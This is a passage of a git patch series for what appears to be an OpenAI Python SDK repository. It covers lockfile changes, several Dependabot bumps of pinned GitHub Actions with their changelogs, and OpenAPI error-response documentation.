+name = "httpx2-jsfetch"
+version = "1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/cd/c4/0e5636363151a2a1795e0a77617168b9ca438e1748ec05fc9b5687f93d64/httpx2_jsfetch-1.0.tar.gz", hash = "sha256:70a0e3eabfef7cce5ad9c629f7d01ca05e418f586646f4ddf14782e4c1454c60", size = 6872, upload-time = "2026-08-07T00:13:07.492Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/1d/b8/c341bba6411bdfda786020343c47a75ef472f6085caf82391b142b1a3ad9/httpx2-2.7.0-py3-none-any.whl", hash = "sha256:ed2a2719c696789e09493bd8e2bec3d8bd925cc6e26b68389ec25ade132f7bf4", size = 90234, upload-time = "2026-07-14T20:39:59.531Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/43/832f631d32e4f1211caa2ba368317739fe71f0b8530e4c9d15dc454bac2a/httpx2_jsfetch-1.0-py3-none-any.whl", hash = "sha256:cb916b707601e69a07721aabc8f3f6659be3a6893bc1ff5c6f9e02241df2da32", size = 6382, upload-time = "2026-08-07T00:13:06.567Z" },
]
[[package]]
@@ -1435,10 +1446,10 @@ version = "2.4.6"
source = { registry = "https://pypi.org/simple" }
resolution-markers = [
"python_full_version >= '3.15' and sys_platform == 'win32'",
- "python_full_version == '3.14.*' and sys_platform == 'win32'",
"python_full_version >= '3.15' and sys_platform == 'emscripten'",
- "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
"python_full_version >= '3.15' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
"python_full_version == '3.14.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
@@ -1593,7 +1604,7 @@ requires-dist = [
{ name = "aiohttp", marker = "extra == 'aiohttp'", specifier = ">=3.14.3" },
{ name = "anyio", specifier = ">=4.10.0,<5" },
{ name = "botocore", marker = "extra == 'bedrock'", specifier = ">=1.40.0,<2" },
- { name = "httpx2", specifier = ">=2.7.0,<3" },
+ { name = "httpx2", specifier = ">=2.12.0,<3" },
{ name = "jiter", specifier = ">=0.16.0,<1" },
{ name = "numpy", marker = "extra == 'datalib'", specifier = ">=1" },
{ name = "numpy", marker = "extra == 'voice-helpers'", specifier = ">=2.0.2" },
@@ -1891,10 +1902,10 @@ version = "1.10.26"
source = { registry = "https://pypi.org/simple" }
resolution-markers = [
"python_full_version >= '3.15' and sys_platform == 'win32'",
- "python_full_version == '3.14.*' and sys_platform == 'win32'",
"python_full_version >= '3.15' and sys_platform == 'emscripten'",
- "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
"python_full_version >= '3.15' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
"python_full_version == '3.14.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
@@ -1943,10 +1954,10 @@ version = "2.12.5"
source = { registry = "https://pypi.org/simple" }
resolution-markers = [
"python_full_version >= '3.15' and sys_platform == 'win32'",
- "python_full_version == '3.14.*' and sys_platform == 'win32'",
"python_full_version >= '3.15' and sys_platform == 'emscripten'",
- "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
"python_full_version >= '3.15' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'win32'",
+ "python_full_version == '3.14.*' and sys_platform == 'emscripten'",
"python_full_version == '3.14.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
"python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
From f95237f6d132d04ee65c5af6a8891e9b9f9708e4 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 21 Sep 2026 20:53:48 +0000
Subject: [PATCH 185/341] chore(deps): bump CodeQL init and analyze to 4.37.8
(#3765)
Update CodeQL init and analyze together to the reviewed v4.37.8 commit.
These steps share versioned state. This contains the same paired update
as #3766; only one will need merging. No SDK runtime or package
dependency changes.
Merged current main. Verified full upstream release SHA pins and the
repository Python-policy check. No new tests added for these pin-only
updates.
---
Bumps
[github/codeql-action/init](https://github.com/github/codeql-action)
from 4.37.7 to 4.37.8.
Release notes
Sourced from github/codeql-action/init's
releases.
v4.37.8
No user facing changes.
Changelog
Sourced from github/codeql-action/init's
changelog.
CodeQL Action Changelog
See the releases
page for the relevant changes to the CodeQL CLI and language
packs.
[UNRELEASED]
No user facing changes.
4.37.9 - 26 Aug 2026
4.37.8 - 21 Aug 2026
No user facing changes.
4.37.7 - 13 Aug 2026
4.37.6 - 04 Aug 2026
- Changed the default filepath for the new remote file address format
that was introduced in CodeQL Action 4.37.0 / 3.37.0 to
.github/codeql-config.yml to align it with the suggested
path that is used elsewhere. #4070
4.37.5 - 03 Aug 2026
- Fixed a bug where a network error while streaming the download of
the CodeQL bundle could terminate the
init Action instead
of falling back to downloading the bundle before extracting it. #4061
4.37.4 - 29 Jul 2026
- This version of the CodeQL Action adds support for the
tools input for the codeql-action/init step to
be specified using a github-codeql-tools repository
property. This feature will gradually be rolled out following the
release of this version. Once rolled out, this allows for the CodeQL CLI
version that is used in GitHub-managed workflows, such as Default Setup,
to be set to a custom value. For example, customers who run into issues
with rate limits when a new CodeQL CLI version is released can set the
value to toolcache to always use the CodeQL CLI version
that is available in the runner toolcache. For Advanced Setup workflows,
the value provided for tools in the workflow definition
always takes precedence unless the value of the repository property
starts with !. #4037
- Update default CodeQL bundle version to 2.26.2.
#4051
4.37.3 - 22 Jul 2026
No user facing changes.
4.37.2 - 21 Jul 2026
- The new address format for the
config-file input that
was introduced in CodeQL Action 4.37.0 is now enabled by default. In
addition to the format described there, the remote= prefix
can now be used to explicitly indicate that the input refers to a remote
file. All previous input formats continue to be accepted as well. #4023
- The CodeQL Action can now make use of configured
private registries in Default Setup to retrieve CodeQL configuration
files from remote repositories that require authentication. This will
allow customers to store their CodeQL configuration in a single
repository that can then be referenced by Default Setup workflows in
other repositories. We expect to roll this and other, related changes
out to everyone in July. #4007
4.37.1 - 16 Jul 2026
- Upcoming breaking change: Add a deprecation warning for
customers using CodeQL version 2.20.6 and earlier. These versions of
CodeQL were discontinued on 1 July 2026 alongside GitHub Enterprise
Server 3.16, and will be unsupported by the next minor release of the
CodeQL Action. #3956
- Update default CodeQL bundle version to 2.26.1.
#4019
4.37.0 - 08 Jul 2026
... (truncated)
Commits
db488dd
Merge pull request #4102
from github/update-v4.37.8-9ee088e13
1845f5b
Update changelog for v4.37.8
9ee088e
Merge pull request #4080
from github/henrymercer/studious-giggle
1aef003
Address review feedback on overlay disk flags
508b83b
Merge main into overlay minimum disk feature branch
d97b342
Merge pull request #4098
from github/mbg/permission-error-as-configuration-error
47fa622
Make EACCES a ConfigurationError
45693cc
Refactor ENOSPC check into
isDiskConfigurationError function
c2fd8f5
Merge pull request #4081
from github/mario-campos/version-cache-to-disk
c56f48e
Log unexpected conditions during caching CLI output
- Additional commits viewable in compare
view
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
---------
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Marcus Wood
---
.github/workflows/codeql.yml | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml
index 1f5de25a4e..ed42900fce 100644
--- a/.github/workflows/codeql.yml
+++ b/.github/workflows/codeql.yml
@@ -30,9 +30,9 @@ jobs:
persist-credentials: false
- name: Initialize CodeQL
- uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
+ uses: github/codeql-action/init@db488ddef3bf6cb639b32c2e9a7c0a7ea8271d28 # v4.37.8
with:
languages: python
- name: Analyze
- uses: github/codeql-action/analyze@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
+ uses: github/codeql-action/analyze@db488ddef3bf6cb639b32c2e9a7c0a7ea8271d28 # v4.37.8
From 690a8b5c1cb2ea8f23bcc5d23a78fd22352d6999 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 21 Sep 2026 20:53:50 +0000
Subject: [PATCH 186/341] chore(deps): bump CodeQL init and analyze to 4.37.8
(#3766)
Update CodeQL init and analyze together to the reviewed v4.37.8 commit.
These steps share versioned state. This contains the same paired update
as #3765; only one will need merging. No SDK runtime or package
dependency changes.
Merged current main. Verified full upstream release SHA pins and the
repository Python-policy check. No new tests added for these pin-only
updates.
---
Bumps
[github/codeql-action/analyze](https://github.com/github/codeql-action)
from 4.37.7 to 4.37.8.
Release notes
Sourced from github/codeql-action/analyze's
releases.
v4.37.8
No user facing changes.
Changelog
Sourced from github/codeql-action/analyze's
changelog.
CodeQL Action Changelog
See the releases
page for the relevant changes to the CodeQL CLI and language
packs.
[UNRELEASED]
No user facing changes.
4.37.9 - 26 Aug 2026
4.37.8 - 21 Aug 2026
No user facing changes.
4.37.7 - 13 Aug 2026
4.37.6 - 04 Aug 2026
- Changed the default filepath for the new remote file address format
that was introduced in CodeQL Action 4.37.0 / 3.37.0 to
.github/codeql-config.yml to align it with the suggested
path that is used elsewhere. #4070
4.37.5 - 03 Aug 2026
- Fixed a bug where a network error while streaming the download of
the CodeQL bundle could terminate the
init Action instead
of falling back to downloading the bundle before extracting it. #4061
4.37.4 - 29 Jul 2026
- This version of the CodeQL Action adds support for the
tools input for the codeql-action/init step to
be specified using a github-codeql-tools repository
property. This feature will gradually be rolled out following the
release of this version. Once rolled out, this allows for the CodeQL CLI
version that is used in GitHub-managed workflows, such as Default Setup,
to be set to a custom value. For example, customers who run into issues
with rate limits when a new CodeQL CLI version is released can set the
value to toolcache to always use the CodeQL CLI version
that is available in the runner toolcache. For Advanced Setup workflows,
the value provided for tools in the workflow definition
always takes precedence unless the value of the repository property
starts with !. #4037
- Update default CodeQL bundle version to 2.26.2.
#4051
4.37.3 - 22 Jul 2026
No user facing changes.
4.37.2 - 21 Jul 2026
- The new address format for the
config-file input that
was introduced in CodeQL Action 4.37.0 is now enabled by default. In
addition to the format described there, the remote= prefix
can now be used to explicitly indicate that the input refers to a remote
file. All previous input formats continue to be accepted as well. #4023
- The CodeQL Action can now make use of configured
private registries in Default Setup to retrieve CodeQL configuration
files from remote repositories that require authentication. This will
allow customers to store their CodeQL configuration in a single
repository that can then be referenced by Default Setup workflows in
other repositories. We expect to roll this and other, related changes
out to everyone in July. #4007
4.37.1 - 16 Jul 2026
- Upcoming breaking change: Add a deprecation warning for
customers using CodeQL version 2.20.6 and earlier. These versions of
CodeQL were discontinued on 1 July 2026 alongside GitHub Enterprise
Server 3.16, and will be unsupported by the next minor release of the
CodeQL Action. #3956
- Update default CodeQL bundle version to 2.26.1.
#4019
4.37.0 - 08 Jul 2026
... (truncated)
Commits
db488dd
Merge pull request #4102
from github/update-v4.37.8-9ee088e13
1845f5b
Update changelog for v4.37.8
9ee088e
Merge pull request #4080
from github/henrymercer/studious-giggle
1aef003
Address review feedback on overlay disk flags
508b83b
Merge main into overlay minimum disk feature branch
d97b342
Merge pull request #4098
from github/mbg/permission-error-as-configuration-error
47fa622
Make EACCES a ConfigurationError
45693cc
Refactor ENOSPC check into
isDiskConfigurationError function
c2fd8f5
Merge pull request #4081
from github/mario-campos/version-cache-to-disk
c56f48e
Log unexpected conditions during caching CLI output
- Additional commits viewable in compare
view
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
---------
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Marcus Wood
From b413abed3e9d5e998743c0b46f5011eece2dd4ed Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 21 Sep 2026 20:53:53 +0000
Subject: [PATCH 187/341] chore(deps): bump actions/upload-artifact from 5.0.0
to 7.0.1 (#3767)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Update the monthly Python-review artifact upload to v7.0.1, matching the
pin already used by other repository workflows. The existing directory
upload retains the default zipped archive, artifact name, retention, and
download contract. GitHub-hosted Ubuntu satisfies the Node 24 runner
requirement. No SDK runtime or package dependency changes.
Merged current main. Verified full upstream release SHA pins and the
repository Python-policy check. No new tests added for these pin-only
updates.
The scheduled workflow cannot be exercised by ordinary PR CI; its live
execution remains a post-merge validation.
---
Bumps
[actions/upload-artifact](https://github.com/actions/upload-artifact)
from 5.0.0 to 7.0.1.
Release notes
Sourced from actions/upload-artifact's
releases.
v7.0.1
What's Changed
Full Changelog: https://github.com/actions/upload-artifact/compare/v7...v7.0.1
v7.0.0
v7 What's new
Direct Uploads
Adds support for uploading single files directly (unzipped). Callers
can set the new archive parameter to false to
skip zipping the file during upload. Right now, we only support single
files. The action will fail if the glob passed resolves to multiple
files. The name parameter is also ignored with this
setting. Instead, the name of the artifact will be the name of the
uploaded file.
ESM
To support new versions of the @actions/* packages,
we've upgraded the package to ESM.
What's Changed
New Contributors
Full Changelog: https://github.com/actions/upload-artifact/compare/v6...v7.0.0
v6.0.0
v6 - What's new
[!IMPORTANT]
actions/upload-artifact@v6 now runs on Node.js 24 (runs.using:
node24) and requires a minimum Actions Runner version of 2.327.1.
If you are using self-hosted runners, ensure they are updated before
upgrading.
Node.js 24
This release updates the runtime to Node.js 24. v5 had preliminary
support for Node.js 24, however this action was by default still running
on Node.js 20. Now this action by default will run on Node.js 24.
What's Changed
Full Changelog: https://github.com/actions/upload-artifact/compare/v5.0.0...v6.0.0
Commits
043fb46
Merge pull request #797
from actions/yacaovsnc/update-dependency
634250c
Include changes in typespec/ts-http-runtime 0.3.5
e454baa
Readme: bump all the example versions to v7 (#796)
74fad66
Update the readme with direct upload details (#795)
bbbca2d
Support direct file uploads (#764)
589182c
Upgrade the module to ESM and bump dependencies (#762)
47309c9
Merge pull request #754
from actions/Link-/add-proxy-integration-tests
02a8460
Add proxy integration test
b7c566a
Merge pull request #745
from actions/upload-artifact-v6-release
e516bc8
docs: correct description of Node.js 24 support in README
- Additional commits viewable in compare
view
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Marcus Wood
---
.github/workflows/python-version-review.yml | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/.github/workflows/python-version-review.yml b/.github/workflows/python-version-review.yml
index c0508e1d47..96bf360f72 100644
--- a/.github/workflows/python-version-review.yml
+++ b/.github/workflows/python-version-review.yml
@@ -161,7 +161,7 @@ jobs:
- name: Upload the action-required assessment
if: steps.report.outputs.action_required == 'true'
- uses: actions/upload-artifact@330a01c490aca151604b8cf639adc76d48f6c5d4 # v5.0.0
+ uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
with:
name: monthly-python-version-review
path: ${{ runner.temp }}/monthly-python-version-review
From 9c1579b43dba640d2586bd2f6936fa7159385821 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 21 Sep 2026 20:53:55 +0000
Subject: [PATCH 188/341] chore(deps): bump openai/codex-action from 1.11 to
1.12 (#3768)
Update the scheduled Python-review Codex action to v1.12. The existing
unprivileged-user strategy, named permission profile, and --ephemeral
argument remain supported; the drop-sudo restrictions do not apply to
this workflow. Verified the upstream argument-validation logic accepts
these inputs and preserves the named profile. No SDK runtime or package
dependency changes.
Merged current main. Verified full upstream release SHA pins and the
repository Python-policy check. No new tests added for these pin-only
updates.
The scheduled workflow cannot be exercised by ordinary PR CI; its live
execution remains a post-merge validation.
---
Bumps [openai/codex-action](https://github.com/openai/codex-action) from
1.11 to 1.12.
Changelog
Sourced from openai/codex-action's
changelog.
codex-action Changelog
v1.12
(2026-08-20)
- Strengthen Linux runner privilege isolation and Responses API proxy
credential handling.
- Reject Codex arguments and configuration overrides that conflict
with protected execution settings.
- Require unprivileged user namespaces for Linux
drop-sudo; run the action after steps that need
sudo, Docker, or privileged service sockets.
- Document runner requirements, permission-profile behavior, and
trusted configuration boundaries.
v1.11
(2026-07-04)
- #116
keep the permission profile helper backward compatible
v1.10
(2026-07-02)
- #113
add Codex permission profile support
v1.9
(2026-06-22)
- #85
update the internal
setup-node pin to
v6.3.0
v1.8
(2026-04-29)
- #91
tighten what bots are allowed
v1.7
(2026-04-24)
- #89
restrict bot permission bypass
v1.6
(2026-03-16)
- #77
enable GitHub-hosted Linux bubblewrap support
v1.5
(2026-03-16)
- #74
harden shell interpolation in action workflows
v1.4
(2025-11-19)
- #58
revert #56
and use the latest stable version of Codex CLI again
v1.3
(2025-11-19)
- #56
temporarily set the default version of Codex CLI to
0.58.0
v1.2
(2025-11-07)
- #52
add
baseUrl to Octokit constructor, if
appropriate, for GHE
v1.1
(2025-11-05)
... (truncated)
Commits
8636508
fix: improve runner setup and configuration handling
c385816
Retry network errors/transient HTTP errors in GitHub API requests (#128)
dd78cb6
docs: update CHANGELOG for v1.11 (#117)
- See full diff in compare
view
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Marcus Wood
---
.github/workflows/python-version-review.yml | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/.github/workflows/python-version-review.yml b/.github/workflows/python-version-review.yml
index 96bf360f72..cfcd0df2ee 100644
--- a/.github/workflows/python-version-review.yml
+++ b/.github/workflows/python-version-review.yml
@@ -103,7 +103,7 @@ jobs:
- name: Ask Codex to assess the policy
id: codex
- uses: openai/codex-action@52fe01ec70a42f454c9d2ebd47598f9fd6893d56 # v1
+ uses: openai/codex-action@86365089eb2b84e0a8fb0717b304f8bdcb13b20e # v1
with:
openai-api-key: ${{ secrets.OPENAI_API_KEY }}
prompt-file: .github/codex/prompts/python-version-review.md
From 32e07e19438abada5da5bfb530c49f385ed849d4 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 21 Sep 2026 21:04:12 +0000
Subject: [PATCH 189/341] chore(deps): bump actions/github-script from 7.1.0 to
9.0.0 (#3769)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Update the trusted Castiron status publisher to github-script v9. The
scripts use supported github.rest/github.paginate APIs, do not require
@actions/github, and do not redeclare the new getOctokit parameter. Both
scripts compile with the v9 injected parameters. GitHub-hosted Ubuntu
satisfies the Node 24 runner requirement. No SDK runtime or package
dependency changes.
Merged current main. Verified full upstream release SHA pins and the
repository Python-policy check. No new tests added for these pin-only
updates.
The workflow_run publisher executes its definition from main, so PR
checks do not execute this updated action pin.
---
Bumps [actions/github-script](https://github.com/actions/github-script)
from 7.1.0 to 9.0.0.
Release notes
Sourced from actions/github-script's
releases.
v9.0.0
New features:
getOctokit factory function —
Available directly in the script context. Create additional
authenticated Octokit clients with different tokens for multi-token
workflows, GitHub App tokens, and cross-org access. See Creating
additional clients with getOctokit for details and
examples.
- Orchestration ID in user-agent — The
ACTIONS_ORCHESTRATION_ID environment variable is
automatically appended to the user-agent string for request
tracing.
Breaking changes:
require('@actions/github') no longer works in
scripts. The upgrade to @actions/github v9
(ESM-only) means require('@actions/github') will fail at
runtime. If you previously used patterns like const { getOctokit }
= require('@actions/github') to create secondary clients, use the
new injected getOctokit function instead — it's available
directly in the script context with no imports needed.
getOctokit is now an injected function parameter.
Scripts that declare const getOctokit = ... or let
getOctokit = ... will get a SyntaxError because
JavaScript does not allow const/let
redeclaration of function parameters. Use the injected
getOctokit directly, or use var getOctokit =
... if you need to redeclare it.
- If your script accesses other
@actions/github internals
beyond the standard github/octokit client, you
may need to update those references for v9 compatibility.
What's Changed
New Contributors
Full Changelog: https://github.com/actions/github-script/compare/v8.0.0...v9.0.0
v8.0.0
What's Changed
⚠️ Minimum Compatible Runner Version
v2.327.1
Release
Notes
Make sure your runner is updated to this version or newer to use this
release.
New Contributors
Full Changelog: https://github.com/actions/github-script/compare/v7.1.0...v8.0.0
Commits
3a2844b
Merge pull request #700
from actions/salmanmkc/expose-getoctokit + prepare re...
ca10bbd
fix: use @octokit/core/types import for v7
compatibility
86e48e2
merge: incorporate main branch changes
c108472
chore: rebuild dist for v9 upgrade and getOctokit factory
afff112
Merge pull request #712
from actions/salmanmkc/deployment-false + fix user-ag...
ff8117e
ci: fix user-agent test to handle orchestration ID
81c6b78
ci: use deployment: false to suppress deployment noise from integration
tests
3953caf
docs: update README examples from @v8 to @v9, add getOctokit docs
and v9 brea...
c17d55b
ci: add getOctokit integration test job
a047196
test: add getOctokit integration tests via callAsyncFunction
- Additional commits viewable in compare
view
[](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)
Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.
[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)
---
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
Signed-off-by: dependabot[bot]
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Marcus Wood
---
.github/workflows/castiron-custom-code-comment.yml | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/.github/workflows/castiron-custom-code-comment.yml b/.github/workflows/castiron-custom-code-comment.yml
index c908e2871c..742d4ce4fc 100644
--- a/.github/workflows/castiron-custom-code-comment.yml
+++ b/.github/workflows/castiron-custom-code-comment.yml
@@ -127,7 +127,7 @@ jobs:
steps:
# This workflow definition is from main. No candidate checkout/artifacts.
- name: Publish exact-head statuses after checking freshness
- uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7
+ uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0
env:
BASE_SHA: ${{ needs.compute.outputs.base-sha }}
HEAD_SHA: ${{ needs.compute.outputs.head-sha }}
@@ -219,7 +219,7 @@ jobs:
- name: Publish a trusted failure status
if: always() && !cancelled() && steps.publish.outcome != 'success'
- uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7
+ uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0
with:
script: |
const marker = '';
From fededc9e51f4fef2b251e25542766c83065373b0 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Mon, 21 Sep 2026 21:30:25 +0000
Subject: [PATCH 190/341] chore(api): document API error response contracts
(#3917)
## Summary
Clarifies documented HTTP error responses while preserving Python
exception behavior.
## Changes
- Describe verified failure statuses, error envelopes and applicable
retry headers.
- Preserve existing Python client types and methods.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 +-
api_reference/openapi.transformed.yml | 4704 ++++++++++++++++++++++++-
2 files changed, 4673 insertions(+), 43 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 944ef561cc..0c05a312fe 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: feaf88e6-0c6a-4d57-95a5-0bcc23d7105c
-openapi_spec_hash: ce912f79d7f8cb19a7a515513c214b8a
-openapi_transformed_spec_hash: 352b5a7a028f990b6475b6593e381eee
-config_hash: dde98d9c41cd6f4163320f92c70f83e6
-codegen_sha: 799a1f4d5f6b415088641ca4d3bbb804443ec30e
+generation_id: 3302daca-12b8-44d9-9ee3-dff23b6c8cd4
+openapi_spec_hash: 662efe7cf7d92cb2a9e77bef4bfbe722
+openapi_transformed_spec_hash: 8d8bd62278396a9cdfbbb49177613b11
+config_hash: e9f2f75046b7218f4e0d78f7db7b7909
+codegen_sha: ca034bfdf2e2c00f76d152f1eef154a2825d1d67
codegen_hash: 7d4da50897149f4eab2fa63ac3dbc972694c6dfeb79a01531da408010bff5dcd
-public_codegen_sha: 4b121f228fc198913ea2a56404f38d8f18ca0e86
+public_codegen_sha: d97ff2bcd11f6cac7432b0d90ac8aac292c03a94
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 30f3e65810..b618d0d093 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -604,8 +604,37 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateSpeechResponseStreamEvent'
+ '400':
+ description: Invalid speech request, input, output format, or voice.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '401':
+ description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
+ '403':
+ description: Access to a personal API organization is blocked by the organization policy.
+ content:
+ text/plain:
+ schema:
+ type: string
+ description: JSON-encoded error text containing an error object and the HTTP status.
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
